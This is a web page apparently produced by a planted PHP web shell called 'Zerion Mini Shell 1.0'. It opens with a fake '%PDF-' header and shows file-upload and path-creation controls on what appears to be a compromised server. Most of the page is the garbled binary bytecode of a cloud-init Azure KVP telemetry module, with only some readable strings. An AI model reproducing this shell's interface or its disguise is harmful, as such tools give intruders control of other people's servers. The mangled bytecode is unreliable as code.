%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3/dist-packages/cloudinit/sources/azure/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3/dist-packages/cloudinit/sources/azure/__pycache__/kvp.cpython-312.pyc

�

��i�����ddlZddlmZmZddlmZddlmZddlmZm	Z	ddl
mZmZeje�Zdeej fd�Zd	edefd
�Zdeedefd�Zy)
�N)�datetime�timezone)�Optional)�version)�handlers�instantiated_handler_registry)�errors�identity�returnc�Z�tjjd�}t|tj
�sy|jtj
jk(r	tj�|_
|S|S#t$r!}tjd|�Yd}~|Sd}~wwxYw)z@Get instantiated KVP telemetry handler, setting vm_id if needed.�	telemetryNzFailed to query Azure vm_id: %s)r�registered_items�get�
isinstancer�HyperVKvpReportingHandler�_vm_id�	ZERO_GUIDr
�query_vm_id�vm_id�	Exception�LOG�debug)�kvp_handler�es  �=/usr/lib/python3/dist-packages/cloudinit/sources/azure/kvp.py�get_kvp_handlerrs���/�@�@�D�D���K��k�8�#E�#E�F�����X�?�?�I�I�I�	<� (� 4� 4� 6�K����;����	<��I�I�7��;�;����	<�s�#B�	B*�	B%�%B*�reportc�l�t�}|�tjd�y|jd|�y)z/Report to host via PROVISIONING_REPORT KVP key.z.KVP handler not enabled, skipping host report.F�PROVISIONING_REPORTT)rrr�	write_key)rrs  r�report_via_kvpr!"s4��!�#�K����	�	�B�C�����/��8��rc���tjddtj���dt	j
tj�j���d|��g�}t|�S)Nzresult=successzagent=Cloud-Init/z
timestamp=zvm_id=)
r	�
encode_reportr�version_stringr�nowr�utc�	isoformatr!)rrs  r�report_success_to_hostr)-sf��
�
!�
!���� 6� 6� 8�9�:�����h�l�l�3�=�=�?�@�A��U�G��		
��F��&�!�!r")�loggingrr�typingr�	cloudinitr�cloudinit.reportingrr�cloudinit.sources.azurer	r
�	getLogger�__name__rrr�str�boolr!r)�r"r�<module>r4sl��
�'���G�4��g����!����(�"D�"D�E��$�3��4��
"�X�c�]�
"�t�
"r"

Zerion Mini Shell 1.0